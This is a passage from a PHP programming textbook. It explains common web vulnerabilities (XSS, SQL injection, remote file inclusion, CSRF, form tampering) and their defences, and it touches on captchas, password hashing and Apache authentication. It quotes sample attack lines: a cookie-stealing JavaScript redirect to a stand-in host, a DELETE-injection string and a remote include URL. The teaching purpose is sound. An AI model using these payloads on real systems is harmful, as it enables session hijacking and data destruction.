For example, around four weeks after PHP 8.3.0, a bug-fixed version 8.3.1 was released,
followed by PHP 8.3.2 around four weeks later. At the end of November 2024, new
releases with security-related corrections were made for PHP versions from 8.1 to 8.3. It
is definitely the duty of the administration team to stay on the ball and keep the sys-
tem secure.
However, the main problem is neither the administrator nor the software provider. The
problem usually lies with the development team behind the web application itself. The
same mistakes are always made, and most of them could be avoided without much
effort.
The topic of security with PHP could fill half a compendium, so we will only cover the
most important points here. But rest assured: If you follow the advice in this chapter,
your website will be much more secure and immune to most attacks. However, there is
no such thing as a "completely secure website". Check your code constantly and ana-
lyze the log files of your web server to be informed about the attack methods of your
enemies (or script kiddies).
First, it’s worth visiting the webpage for the Open Web Application Security Project
(OWASP). Behind this project is a group of volunteers who deal with the topic of web
security. OWASP is known for its list of the top 10 security vulnerabilities on websites,
published regularly (i.e., approximately every three to four years; see Figure 32.1).
You can view this list at https://owasp.org/Top10. The 2021 list (which is still the latest
version as of the beginning of 2025, but plans for a successor later that year are already
underway) contains the following items:
1. Insufficient access protection
2. Cryptographic errors
We turn to the more interesting points of this list ahead, but the list itself is already
very informative. Almost all the points on the list relate primarily to sloppy program-
ming. No matter how well a server has been secured by the administrator, it is possible
to ruin the whole concept through sloppy programming. A server may be configured in
such a way that outsiders have no rights. But what if an attacker takes over a website? A
web application may have enough rights to misuse the server for sinister purposes. So,
program carefully, expect the worst—and read on!
very simple way. Imagine you have created a content management system via which
you offer users the opportunity to edit their articles:
In the example, the current user has created articles 23, 24, and 27 and is offered links to
edit precisely these articles. But what happens when the user accesses the edit.php?id=
25 page? In a secure system, the system would check whether the user is authorized to
do so. In all too many systems, however, this check does not take place. During a test as
part of the research for this book, two examples on the web particularly caught my eye:
쐍 Using this technique, it was possible to "cheat" to gain access to an event that was
actually sold out. The operators of the registration website thought it was safe
enough to simply not display the registration link for sold-out events. However, this
link had the form registration.php?id=<event number> on other pages.
쐍 At a specialist conference, a presentation proposal from a (friendly) PHP developer
could be slightly modified. Here too, access was possible via a parameter in the URL.
The topic of PHP and security is not fully covered without a look at a dark chapter of the
past. As we mentioned in Chapter 13, superglobal arrays such as $_GET and $_POST were
introduced a long time ago. The once very popular register_globals—a feature that
converts HTTP data into global variables—was automatically set to Off in php.ini in a
minor version (and later removed completely—a good idea!). But why? The following
listing offers an illustrative example.
<?php
if (isset($_POST["user"]) &&
isset($_POST["password"]) &&
$_POST["user"] == "Christian" &&
$_POST["password"] == "*secret*") {
$loggedIn = true;
}
if ($loggedIn) {
echo "Here is the secret info ...";
}
?>
<html>
<head>
<title>Login</title>
</head>
<body>
<form method="post" action="">
This page checks the specified user name and password and displays a corresponding
message if they match (as you can see, the example is greatly simplified). But if you
look closely, you will discover a major design error in the code. The programmer has
assumed that the $loggedIn variable has not been initialized and therefore has the
value false. But if register_globals was set to On, then the access protection could be
overridden easily. By calling up the page with login.php?loggedIn=1, a $loggedIn vari-
able with the value 1 would automatically be created and the user would be authenti-
cated.
This—admittedly somewhat contrived—example was one of the reasons for disabling
register_globals by default from PHP 4.2 on. This decision was not uncontroversial;
PHP inventor Rasmus Lerdorf in particular was actually against it. Much worse, how-
ever, was the fact that even specialist magazines with a good reputation and renowned
publishers continued to publish code for months, sometimes even years, in which this
change was apparently not taken into account. These embarrassing incidents have
once again shown that it is essential to keep in touch with the technology you are writ-
ing about. By the way: In current PHP versions, register_globals no longer exists at all.
Our grief is limited.
Note
It should not go unmentioned that Listing 32.1 could be secured. To do so, either the
$loggedIn variable is initialized correctly:
$loggedIn = false;
Or an else branch is added to the if query:
if (isset($_POST["user"]) &&
isset($_POST["password"]) &&
$_POST["user"] == "Christian" &&
$_POST["password"] == "*secret*") {
$loggedIn = true;
} else {
$loggedIn = false;
}
Tip
It is even better to set error_reporting to E_ALL. This is good code style and reduces
the risk of security vulnerabilities being created through a lack of care during develop-
ment. With this setting, you will receive a warning if you use uninitialized variables.
On a production server, however, you should set display_errors = Off as every error
message reveals information about the web server to attackers.
In conclusion: User input must be checked. But how should this be done? That depends
entirely on how the user input is used. One of the most important basic rules is never
to trust user input. If your concept includes the point "The user input fulfills require-
ments X and Y," then you can put it straight in the shredder. Of course, well-meaning
users will only enter meaningful data (at least most of the time), but with a global net-
work like the internet, not everyone is well-meaning. So expect the worst—and do not
trust your users!
32.2 XSS
One term that frequently appears in the recurring horror stories about websites with
security vulnerabilities is cross-site scripting. This should actually be abbreviated to
CSS, but this acronym is already reserved for Cascading Style Sheets, so the "X" was cho-
sen, which often stands for cross, as it does here.
The effect of XSS is that script code is injected into the current page from outside. This
crosses an authorization barrier because you can fool a website into believing that the
injected code is your own. A small example will illustrate this. Imagine a simple guest-
book application, as you have seen often in this book. In the following listing, you can
first see the (lousy) script for entering data into the guestbook database (we use SQLite
here).
<?php
$entry = $_POST["entry"] ?? "";
if (!file_exists("guestbook.db")) {
$db = new SQLite3("guestbook.db");
$db->query(
"CREATE TABLE entries (entry varchar(255))");
$db->close();
}
if ($entry != "") {
$db = new SQLite3("guestbook.db");
$db->query(
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<form method="post" action="">
Comment: <textarea name="entry" cols="" rows=""></textarea><br />
<input type="submit" value="Enter" />
</form>
</body>
</html>
The code in Listing 32.2 looks good and sufficient at first glance. When the user enters
something, this is saved in the $entry variable:
Even the previously shown case of setting $entry via URL is intercepted. What more
could you want? To be honest, with regard to XSS, there is no error in this script yet (but
there is another one, as you will learn in Section 32.3). Only the output of the guestbook
is problematic, as the next listing shows.
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<?php
try {
$db = new SQLite3("guestbook.db");
$result = $db->query(
"SELECT * FROM entries");
while ($row = $result->fetchArray()) {
echo $row["entry"] . "<hr />";
}
$db->close();
} catch (Exception $ex) {
}
?>
</body>
</html>
Do you see the error? If you make a few harmless entries and then read them out, there
is no problem. But what happens if you enter HTML code? This code is then output
unfiltered. You can therefore spoil the layout of the guestbook—for example, by
including offensive graphics. Figure 32.2 and Figure 32.3 show a more harmless vari-
ant—namely, the use of <hr /> and other HTML tags in the guestbook entry.
That alone is bad enough, but it gets even worse when JavaScript code is injected
instead of HTML code.1 There are different levels of cruelty:
쐍 Opening modal warning windows with window.alert()
쐍 Infinite reloading of the page with window.reload()
쐍 The redirection of the user with location.href = "http://andererserver.xy"
쐍 Reading all cookies (that are not protected, which will be explained later in this chap-
ter)—for example, with location.href = "http://otherserver.xy/cookietheft.php?
c=" + escape(document.cookie)
For good reasons, this is not explained further, but Figure 32.4 shows the effect of the
first attack method.
1 It is of course undisputed that there is also "bad" HTML markup, such as <div style= "display:
none;">.
And think about what could be stored in cookies: the current session ID, for example.
This makes it very easy to take over a victim's session (this is called session hijacking).
So you can see that the data must be filtered, either when writing to the database or
when reading it out. This can be done using the htmlspecialchars() function, which
reliably converts all angle brackets (and other "bad" characters: the apostrophe, the
double quotation mark, and the ampersand) into the corresponding HTML entities:
$coded = htmlspecialchars($input);
Everything that comes from the client (and could therefore be malicious) must be
saved before output. In addition to $_GET, $_POST, and $_COOKIE, this also includes some
entries in $_SERVER, including $_SERVER["PHP_SELF"].
Note
To prevent session hijacking and cookie theft, it also helps to protect the session cookie
from being accessed by JavaScript by using the HttpOnly flag:
session.cookie_httponly = "On"
XSS is therefore incredibly easy to exploit, but even websites of specialist magazines
have proved vulnerable here in the past. Above all, this happens to people who have lit-
tle HTML experience and don't see much difference between developing web and desk-
top applications.
Finally, a cautionary example on the subject of unchecked user data. Imagine you have
developed (another) content management system and URLs of the following types:
쐍 http://server/index.php?section=index
쐍 http://server/index.php?section=products
쐍 http://server/index.php?section=support
쐍 http://server/index.php?section=imprint
<?php
$section = (isset($_GET["section"])) ? $_GET["section"] : "index";
include "$section.php";
?>
Looks good, doesn't it? When calling index.php?section=products, for example, the file
products.php would be included. But what happens with the following call?
http://server/index.php?sektion=http://www.xy.zzz/attack
The http://www.xy.zzz/attack.php URL would then be included (assuming a corre-
sponding PHP configuration; allow_url_include must be set to On, but fortunately it is
Off by default and has been deprecated since PHP 7.4.0, so it will be removed at some
point). You would have successfully injected PHP code into a third-party website. Scary,
isn't it?
$db->query( "
INSERT INTO entries (entry) VALUES ('$entry')");
As a reminder: The value of $entry is transferred via POST. So far, so good, but what hap-
pens if the entry contains an apostrophe, such as Shaquille O'Neal? Then the SQL com-
mand would look like this:
As you can easily see, the SQL command is invalid. But that's not so bad. What do you
think of the following command?
INSERT INTO entries (entry) VALUES (''); DELETE FROM entries --')
Here, an (empty) entry is inserted into the database and then the database content is
deleted completely. The two hyphens are a SQL comment; that is, everything after
them is ignored. This would be a disaster for the website as all guestbook entries would
be gone in one fell swoop. But is it even possible to inject such a statement into our
script?
Yes, it is. Here you can see the SQL command again, with a section highlighted in bold:
INSERT INTO entries (entry) VALUES (''); DELETE FROM entries --')
Everything that is not in bold is a SQL command in the PHP script. Everything that is
written in bold would have to be inserted via a form, and the mishap has already hap-
pened.2 But what can be done about it? One possibility is to double all apostrophes:
This is a first approach, but there are also other special characters in SQL, such as the
underscore or the percent sign (both for WHERE clauses). It is therefore necessary to take
special measures. For MySQL, magic_quotes also used to do this. SQL injection was one
of the main reasons for the creation of the unpopular (and recently abolished) magic
quotes functionality. MySQL can cope with special characters being escaped by a back-
slash, but this is not part of the SQL standard. It is therefore not surprising that other
databases do not interpret this as desired. But don't despair: Some database modules
offer extra functions (or, in the case of an OOP API, methods) for preparing user input
accordingly. Table 32.1 shows a selection.
2 Admittedly, not with all database systems. With MySQL, for example, only one command can be
executed at a time; the DELETE would therefore no longer be used by the database. But there are
other dangerous variants of SQL injection that would then work (from the attacker's point of view).
Module Function
MySQL mysqli_real_escape_string()/MySQLi::real_escape_string()
SQLite SQLite3::escapeString()
MSSQL -
PostgreSQL pg_escape_string()
Oracle -
As you can see, things look rather bleak for some database systems—but fortunately,
these offer the preferred prepared statements as a secure approach anyway. The follow-
ing listing shows an example in MySQL using the mysqli extension of PHP.
<?php
$entry = $_POST["entry"] ?? "";
SQL injection is particularly bad because it can cause serious damage to the web server.
So be careful with every single database query in which you process user input. Even
specialist magazines often contain code that does not filter external data and would
therefore be susceptible to SQL injection. You can safely test this yourself on your web-
site. If you have pages where data is transferred via a URL (e.g., news.php?id=123), insert
an apostrophe (news.php?id='123). If you receive a PHP error message, there are two
potential danger points:
1. The pages do not filter or validate user input.
2. The pages output PHP error messages to the client and thus provide an attacker with
valuable information free of charge.
Of course, this is just as insecure, but the programmer has come up with something.
Someone told him that it was very easy to infiltrate data via GET/URL, so he came up
with something more difficult. When the delete.php script is called, the user still has to
confirm the whole thing. The news article that is to be deleted is sent back to the server
as a hidden form field and is therefore invisible to the user (and the attacker). So much
for the plan. The following listing shows the corresponding code; Figure 32.5 and Figure
32.6 show the output in the browser.
<html>
<head>
<title>Delete</title>
</head>
<body>
<?php
$id_GET = $_GET["id"] ?? "";
Figure 32.6 ... and Only Then Does the Web Server Execute It
The approach is not only bad, but also fatal, because user data is also used here without
being checked. Just because POST data cannot be transmitted so easily and conve-
niently in the URL does not mean that it is not possible to forge the HTTP request. In
this case, there is even a very simple way to trick the delete.php script:
Figure 32.7 shows the new code; the changed or added areas are highlighted.
Note
Most browsers have built-in tools that make it particularly easy to change form data
(they are often accessible via (F12)). As a consequence, hidden form fields are not
invisible!
Don't think that this attack is too trivial and not (or no longer) up to date. Just a few
years ago, a security vulnerability was discovered in a relatively well-known online
store that was based on precisely this attack method.
Figure 32.7 The HTML Code Can Be Changed Locally in the Editor
filled, then filter_input() returns the value zero; otherwise, the input value. The fol-
lowing example is loosely based on the fictitious order form from Chapter 13.
<html>
<head>
<title>Order Form</title>
</head>
<body>
<?php
$ok = false;
if (isset($_POST["Submit"])) {
$ok = true;
if (filter_input(INPUT_GET, "Email", FILTER_VALIDATE_EMAIL) == null) {
$ok = false;
}
if (filter_input(INPUT_POST, "Number", FILTER_VALIDATE_INT) == null) {
$ok = false;
}
if ($ok) {
?>
<h1>Form data</h1>
<?php
$Email = htmlspecialchars(filter_input(INPUT_POST, "Email",
FILTER_SANITIZE_EMAIL));
$Number = filter_input(INPUT_POST, "Number", FILTER_SANITIZE_NUMBER_INT);
echo "<p><b>$Number of tickets for $Email</b></p>";
?>
<?php
} else {
echo "<p><b>Form incomplete</b></p>";
}
}
if (!$ok) {
?>
<h1>World Cup Ticket Service</h1>
<form method="post" action="">
Email address <input type="text" name="Email" /><br />
Number of tickets
<select name="Number">
<option value="0">Please select</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
</select><br />
<input type="submit" name="Submit" value="Place order" />
</form>
<?php
}
?>
</body>
</html>
Possible values for the third parameter of filter_input() include the following:
쐍 FILTER_SANITIZE_EMAIL
Removes everything that does not belong to an email address.
쐍 FILTER_SANITIZE_ENCODED
URL-encodes the data.
쐍 FILTER_SANITIZE_ADD_SLASHES
Adds backslashes before special characters (addslashes() is called internally).
쐍 FILTER_SANITIZE_NUMBER_FLOAT
Removes everything that does not belong to a floating-point number.
쐍 FILTER_SANITIZE_NUMBER_INT
Removes everything that does not belong to an integer.
쐍 FILTER_SANITIZE_SPECIAL_CHARS
Encodes all special characters in HTML entities.
쐍 FILTER_SANITIZE_STRING and FILTER_SANITIZE_STRIPPED
Remove HTML special characters. Note that these filters are deprecated as of PHP
8.1.0; the recommendation is to use htmlspecialchars() instead.
쐍 FILTER_SANITIZE_UNSAFE_RAW
Does not remove HTML special characters.
쐍 FILTER_SANITIZE_URL
Removes everything that does not belong to a URL.
It is also possible to provide filter_input() with a fourth parameter that specifies addi-
tional information. For example, there is the FILTER_VALIDATE_REGEXP filter type, which
$Number = filter_input(INPUT_POST,
"Number",
FILTER_VALIDATE_REGEXP,
["regexp" => "^[1-9]\d*$"]);
The second main function of the PHP input filter is filter_var(). You pass it data (such
as a string) and then select the filter type. These are the same types we discussed earlier.
As always, a complete list can be found in the PHP manual, at http://php.net/manual/
filters.php.
The following listing shows an example based on a similar application from Chapter 26.
Listing 32.7 A URL Is Read In and Freed from HTML Markup ("textversion.php")
The extension has a few more features, but these examples should suffice for a first
look. You can find the corresponding documentation at http://s-prs.co/v602247.
Note
Another interesting class of functionalities is packed into the ctype extension, which is
also activated automatically. Information on this can be found at http://php.net/ctype.
is not only very dangerous but is also becoming increasingly common on the web.
During security audits, we are now increasingly finding that many XSS and SQL injec-
tion vulnerabilities have already been sealed, but other attacks have been completely
ignored. What is it about? A user sends data to a website; this data can be a simple GET
request or a POST request. The trick is that the user usually sends the data involuntarily
and unintentionally. Let's look at a very simplified example. Suppose you were to go to
any website in which the following HTML is built in:
<img src="http://victim.xy/order.php?articleId=123&quantity=1"
width="1" height="1" />
Your browser would therefore send an HTTP request to the server victim.xy and at the
same time—as schematically indicated in the URL—send order information. Let's
make another simplifying assumption: You are a customer at victim.xy, already logged
in there, and an order is automatically placed on the basis of such a GET request. So you
order a copy of article 123 without really wanting to. Figure 32.8 shows the procedure
again graphically.
Other
3) HTTP request website
Attacker
1) HTTP request (website)
Victim
(client)
CSRF works in this case because the user is logged into the attacked website—usually
via a session cookie—and the browser automatically sends this cookie when a request
is made to the same server. Some people therefore also call CSRF session riding, even
though the term cross-site request forgery has now become commonplace (session rid-
ing, strictly speaking, only deals with one aspect of CSRF anyway).
In practice, of course, it is not always so simple, as POST is used for important opera-
tions such as orders. But this can also be attacked using CSRF. Look at the form in the
following listing.
<html>
<head>
<title>Order Form</title>
</head>
<body>
<?php
if (isset($_POST["quantity"]) &&
(int)$_POST["quantity"] > 0 &&
isset($_POST["articleId"])) {
file_put_contents(
"orders.txt",
sprintf("%d x article %s - %s\n",
(int)$_POST["quantity"],
$_POST["articleId"],
date("Y-m-d H:i:s")),
FILE_APPEND);
echo "Order submitted!";
}
?>
<form method="post" action="">
Quantity: <input type="text" name="quantity" /><br />
<input type="hidden" name="articleId" value="123" />
<input type="submit" value="Order" />
</form>
</body>
</html>
To execute the code, the script requires write access to the current directory (more pre-
cisely, to the orders.txt file). As a general rule, whenever the text "Order submitted!"
appears, an order has been placed; for better traceability, this fact is also written to
orders.txt.
The application now trusts that a POST request to the order.php script will always be
sent as intended by the user. We have already explained that this does not always have
to be the case. For example, consider the following HTML file (with a little JavaScript
code):
If you adapt the value of the action attribute to your system, you can also use it to place
orders unintentionally: Anyone who calls up the HTML file will then place an order
with the victim site.
Note
You will then immediately see the page with the order confirmation in the browser. A
"real" attacker would place the hidden form in an iframe, for example, to prevent this
effect.
There are numerous approaches to protect yourself from such an attack. These include
general security measures such as logging in again before placing an order and short
session timeouts. However, there are also frequently suggested measures such as
checking the HTTP referrer and checking the IP address, which unfortunately do not
always have the desired success in practice.
One protective measure that is currently recognized as secure is the following: The
main problem is that an attacker can guess exactly what a corresponding order’s HTTP
request looks like. To prevent this, we insert an additional hidden form field that con-
tains a random value. To do so, we let the random_bytes() function to determine a cor-
responding unpredictable string:
<?php
$token = random_bytes(32);
?>
...
<input type="hidden" name="token" value="<?php echo $token; ?>" />
$_SESSION["token"] = $token;
If the form is now sent, we check whether the value sent with the form is identical to
the value in the session. This prevents CSRF attack attempts as an attacker can neither
influence the user's session nor guess in advance what the secret token is, as it is differ-
ent every time.
In this way, we can use the form from Listing 32.8 with the integration and verification
of the token and thus improve it in the next listing.
<?php
session_start();
?>
<html>
<head>
<title>Order Form</title>
</head>
<body>
<?php
$token = "";
if (isset($_POST["quantity"]) &&
(int)$_POST["quantity"] > 0 &&
isset($_POST["articleId"]) &&
isset($_SESSION["token"]) &&
isset($_POST["token"]) &&
$_SESSION["token"] === $_POST["token"]) {
file_put_contents(
"orders.txt",
sprintf("%d x article %s - %s\n",
(int)$_POST["quantity"],
$_POST["articleId"],
date("Y-m-d H:i:s")),
FILE_APPEND);
echo "Order submitted!";
unset($_SESSION["token"]);
} else {
$token = random_bytes(32);
$_SESSION["token"] = $token;
}
?>
<form method="post" action="">
Quantity: <input type="text" name="quantity" /><br />
<input type="hidden" name="articleId" value="123" />
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="submit" value="Order" />
</form>
</body>
</html>
Try it out: You can still place orders by calling up the form directly. However, if you use
the HTML file (for which you must adjust the form dispatch destination), you will land
on the "normal" order page, but an order will not be sent automatically or entered in
the text file.
Note
Another additional protective measure against CSRF is the use of SameSite cookies,
which have already been discussed in Chapter 14. The following php.ini setting acti-
vates a specific SameSite mode for all PHP sessions:
session.cookie_samesite = "Lax"
Modern web browsers will gradually treat cookies as SameSite=Lax by default, which
can make it much more difficult to exploit CSRF gaps.
Note
Incidentally, this process is called screen scraping.
Another example: Suppose you want to send as much spam as possible. Freemail pro-
viders are suitable for this within certain limits. You could create new accounts there
and send advertising emails until the account is blocked and people in uniform are
standing outside your door. But it would be much more convenient to use the tech-
nique from the previous section, save the registration form locally, analyze it, and then
send it back to the server in a modified form—preferably with all of this automated.
This would allow you to create several accounts at the touch of a button. Don't laugh:
There is software on obscure websites that does exactly that.
These two scenarios have one thing in common: They are very unpleasant for a website
because it cannot tell whether a human or a machine is on the other end of the line. Back
in the 1950s, the English mathematician Alan Turing defined a test that would make it
possible to decide whether a communication partner was a human or a machine. In the
year 2000, 50 years later, four researchers joined forces and implemented this concept
for the web. They called their creation Completely Automated Public Turing test to tell
Computers and Humans Apart (CAPTCHA). In contrast to conventional Turing tests, a
captcha runs completely automatically, so no human is needed to check it.
Captchas are now used on many websites. Figure 32.9 shows a captcha that randomly
appears and must be solved when accessing the Amazon site.
In this case, a captcha is a graphic that contains a combination of letters and numbers
(often just letters) that the user has to type in. The individual characters are distorted in
such a way that a computer program has difficulty recognizing the text.
Note
The official, but no longer maintained homepage of the CAPTCHA project can be found
at www.captcha.net. Additional information on the currently best-known captcha sys-
tem, reCAPTCHA, can be found at http://s-prs.co/v602290.
However, captchas are not the philosopher's stone but merely a new antidote, which in
turn calls for corresponding countermeasures. For example, some scientists have been
able to crack the widespread Gimpy captcha relatively reliably.3 Nevertheless, a captcha
makes it at least a little more difficult to send a form automatically.
Note
Certain disadvantages should not be concealed. Graphical captchas require the user to
display graphics in their web browser or that the browser can display them at all; users
of the Lynx text browser are therefore excluded here. The same applies to visually
impaired web surfers. There must therefore be alternatives for this; Yahoo!, for exam-
ple, provides a hotline.
3 See http://s-prs.co/v602291.
For demonstration purposes, we will use an existing captcha—namely, the one from
the PEAR Text_CAPTCHA project, which can be installed as follows:
Note
If a stable version of the package has not yet been released by the time the book is pub-
lished, you must explicitly state the status of the package—for example, as follows:
pear install Text_CAPTCHA-alpha
You can find the current version number on the package homepage at http://s-prs.co/
v602248. You also need the Image_Text and Text_Password PEAR packages before-
hand so that the installation of the captcha package works.
After installing the package, you can request a captcha graphic as follows and receive it
back—in our example, in PNG format:
<?php
require_once 'Text/CAPTCHA.php';
However, this alone does not achieve much. You also need to take care of the adminis-
tration. The following example is based directly on the package documentation. The
term in the captcha is stored in a session variable and checked in this way. But first, the
PHP session support is started:
session_start();
The $ok variable remembers whether the captcha has already been solved:
$ok = false;
The text that is displayed in the browser is saved in the $info variable:
If a captcha is to be displayed again ($ok is then false), a new graphic is generated, and
the resulting PNG image is saved in a file. This file is then displayed with a form field for
text input:
if (!$ok) {
require_once 'Text/CAPTCHA.php';
$c = Text_CAPTCHA::factory('Image');
$c->init(200, 80);
$_SESSION["phrase"] = $c->getPhrase();
Tip
Appending the current time in epoch format (using the time() call) prevents the web
browser from saving old captchas in the cache.
But what happens when a user tries to solve the captcha? In this case, the input is com-
pared with the captcha solution word in the session variable, and the $ok variable (and
the $info variable) is set accordingly:
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST["phrase"]) && isset($_SESSION["phrase"]) &&
strlen($_POST["phrase"]) > 0 && strlen($_SESSION["phrase"]) > 0 &&
$_POST["phrase"] === $_SESSION["phrase"]) {
$info = "OK!";
$ok = true;
unset($_SESSION['phrase']);
} else {
$info = "Please try again!";
unset($_SESSION['phrase']);
}
unlink(sha1(session_id()) . ".png");
}
echo "<p>$info</p>";
The following listing shows the complete code for this example; Figure 32.10 shows the
output.
<?php
session_start();
$ok = false;
$info = "Please enter text in the image!";
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST["phrase"]) && isset($_SESSION["phrase"]) &&
strlen($_POST["phrase"]) > 0 && strlen($_SESSION["phrase"]) > 0 &&
$_POST["phrase"] === $_SESSION["phrase"]) {
$info = "OK!";
$ok = true;
unset($_SESSION['phrase']);
} else {
$info = "Please try again!";
unset($_SESSION['phrase']);
}
unlink(sha1(session_id()) . ".png");
}
echo "<p>$info</p>";
if (!$ok) {
require_once 'Text/CAPTCHA.php';
$c = Text_CAPTCHA::factory('Image');
$c->init(200, 80);
$_SESSION["phrase"] = $c->getPhrase();
There are many reasons for successful intrusions—for example, SQL injection or sim-
ply an insider accessing and forwarding data within the company. Passwords are of par-
ticular interest here. If these are stored in plain text in a database, the catastrophe is as
big as it gets. For this reason, encryption is the be-all and end-all. However, there are
potential disadvantages here too: The web application may have to decrypt the data
again, such as when a login attempt is made. If an attacker succeeds in reading the data
from an application, they may also have access to the application itself and therefore to
the key.
For this reason, it became common practice years ago for many web applications not to
store passwords at all, but only a kind of fingerprint. The password can no longer be
recovered from this fingerprint. However, when a user logs in to the application, the
web application creates a new fingerprint from the specified password. This is then
identical to the saved one and the login works.
However, if the attacker gains access to the application's database, he only has finger-
prints, but no "real" passwords. Although the attack was successful, anyone using the
same password elsewhere does not have to change it in a matter of seconds (but should
still not take too long to do so).
The method chosen for the fingerprint is crucial, though—in the past, typically MD5
(and the PHP function for this, md5()) and SHA1 (or sha1() in PHP) have been used. This
procedure has no longer been secure for some time; the password can be recovered
from an MD5 hash (as the fingerprint is called) with standard hardware and in a com-
paratively short time—or another password can be determined that has the same MD5
hash. The somewhat more secure SHA1 variant resists decryption for a little longer, but
this method is now also considered to have been cracked.
Of course, there are other encryption and hashing mechanisms, but they have always
been a bit cumbersome to use, even in PHP. For this reason, there is the Password Hash-
ing API. All information about this built-in extension can be found at http://php.net/
password. You can use this functionality without any configuration or further setup
steps. Internally, the functionality offered relies on the powerful crypt() function, but
the Password Hashing API itself condenses everything into four individual functions:
쐍 password_hash()
Generates a hash from an input (such as a password)
쐍 password_verify()
Checks whether an input matches a hash
쐍 password_get_info()
Provides information about a hash
쐍 password_needs_rehash()
Checks whether a hash has certain properties
The first two functions are the most important. The procedure is relatively simple: use
password_hash() to generate a hash. In addition to the input itself, the algorithm to be
used must also be specified; PHP offers two constants, PASSWORD_DEFAULT (by default,
this is bcrypt, but this could change in future PHP versions) and PASSWORD_BCRYPT.
Here’s an example:
$2y$10$Bz8Kut2TCB17TF0YzLBHMugxG2eOBSYXI1vFcZrkp9hNo/1UWzOtu
This hash now ends up in the database; the password is not visible from this. However,
we can use password_verify() to check whether an input matches the hash:
The return value is then, unsurprisingly, true. In this way, you could, for example,
adapt the login logic from Chapter 15, Listing 15.6.
As the third parameter for password_hash(), you can specify an option for the encryp-
tion using an associative array: cost, the algorithmic cost of generating the hash value.
The higher, the better, but the longer the calculation takes. 10 is the default value, but
so long as the performance is good, you can also increase it.
Here’s a small example of this:
For example, this code generated the following return value during a test run—after
waiting a few seconds:
$2y$15$LywFa9fOJQb81CfHlbN9Kump0XYOtkGfw8br3jlQzt7.eStTPGBjG
As you can see, the hash also contains information about the algorithm and the costs.
Everything after that is the actual hash.
Note
In the past, it was also possible to specify the value salt—the "salt" that is appended to
the string to be hashed in order to make it even more difficult to trace the hash. PHP
uses a random and safe salt value every time, so this configuration option has been
removed in PHP 8.
This gives you access to a very simple API that still encrypts passwords securely. MD5
and SHA1 hashes are no longer sufficient.
Tip
The standard PHP extension for encryption is Sodium. It is included with PHP, and it
requires the -with-sodium configuration switch in Linux and the extension=sodium
entry in php.ini in Windows. As always, further information can be found in the PHP
manual at https://www.php.net/sodium.
The topics covered in this chapter were just the tip of the iceberg of potential security vul-
nerabilities in web applications. But if you at least get into the habit of checking all user
input, many potential dangers would already be averted. And once again, server logs
often provide clues as to how bad guys get started and where they look for vulnerabili-
ties. In general, however, you should always be one or two steps ahead of the bad actors.
One part of security is, of course, secure programming; you can read more about this in
Chapter 32. But this chapter is about a task that developers also often face: identifying
users on a website and giving them authorization.
Note
The terms authentication and authorization are sometimes used interchangeably. By
definition, this is not correct: authentication is about recognizing the user; authoriza-
tion is about granting the user rights. On the web, this is usually one step: the user logs
in and thus gains access. However, authorization can also involve assigning rights, such
as within a role system. In this case, the users are authenticated and receive different
levels of rights.
The focus of this chapter is authentication. There are several options for this:
쐍 Authentication provided by the web server
Apache offers a widely used option here. The IIS also provides similar functionality,
although this is rarely used in practice.
쐍 Set up HTTP authentication manually
Although this mechanism of the HTTP protocol is also used by Apache for its own
authentication, you can also control HTTP authentication independently of the web
server using PHP.
쐍 Authentication with sessions
You will be familiar with sessions from Chapter 15. This third alternative always
comes into play, for example, when authorization is also required. As it is imple-
mented directly in PHP, it is also independent of the environment—that is, the web
server and its configuration.
쐍 Standards-based authentication
This refers to all authentication procedures that are based on current standards such
as OIDC and OAuth. Their time has come when several applications want to log in to
a central location, a so-called identity provider.
This chapter describes the first two options and uses a small example of standards-
based authentication with a Google identity provider. Finally, we draw a conclusion
that also includes session authentication.
Note
In Windows, a file without a name and only with an extension is not possible without
contortions. There, ht.access is usually used as the file name. However, you must
change this in the main Apache configuration file, http.conf. You can find this file in the
conf folder. Look for AccessFileName there and then enter the new name of the .htac-
cess file:
AccessFileName ht.access
Be careful if only your test computer is running Windows and the production system is
running Linux. Then you usually have to change the file name back to .htaccess! This is
especially true if your site is hosted by a host.
The basic principle is very simple: When a protected directory is accessed, Apache
sends a response to the browser that it is unauthorized (message 401) and sends a
WWW-Authenticate header, which states which authentication method is used (basic
(without encryption) or digest (with encryption). The browser then asks the user for
their user name and password and sends both to the server, which then confirms the
login.1 On the server, the .htaccess file (or ht.access in Windows) controls authentica-
tion. All names and passwords can be found in a file with user names.
Now the whole thing is to be implemented:
1. First, place the .htaccess (or ht.access) text file in the directory that you want to pro-
tect. The subdirectories are included in the protection.
2. Now you need to fill in the text file. First you access a file with user names and pass-
words:
AuthUserFile path/.htpasswd
1 The browsers behave slightly differently. For example, not every browser opens a modal window
for entering the user name and password; they sometimes integrate this into the browser window.
There are also differences in the case of incorrect entries: Internet Explorer aborts after three
attempts, while with Firefox, you can try forever.
To create this file, Apache offers a tool called htpasswd. You can find it in Linux and
Windows in the bin directory of Apache.
3. In the console (in Windows: Command Prompt), change to the bin directory of Apache
and create the new password file with a first user:
The configuration abbreviation -c stands for a new file, and m stands for the MD5
encryption of the password. This is the standard under Windows. This is followed by
the file name and finally the first user. You can find the other parameters by calling
htpasswd without any parameters.
4. You will now be asked for the password for the user and must confirm it once again.
5. Then enter additional users (see Figure 33.1):
Figure 33.1 The Entries for Two Users in Windows with "ht.passswd"
6. Copy the file into a directory that you want to protect. Be careful: The directory must
not be easily accessible from the outside or even the best passwords won't help!
7. Back to .htaccess (or ht.access), next comes the name of the authentication. This is
usually the name of the application:
8. Then specify the type of authentication. Basic authentication is the standard. Digest
